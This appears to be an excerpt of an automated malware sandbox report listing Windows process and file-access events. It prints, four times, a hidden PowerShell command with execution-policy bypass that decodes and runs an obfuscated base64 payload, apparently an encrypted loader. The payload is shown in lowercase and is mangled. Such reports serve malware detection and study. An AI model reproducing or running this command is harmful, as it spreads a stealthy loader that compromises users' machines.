Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\LogonUI.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\LogonUI.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
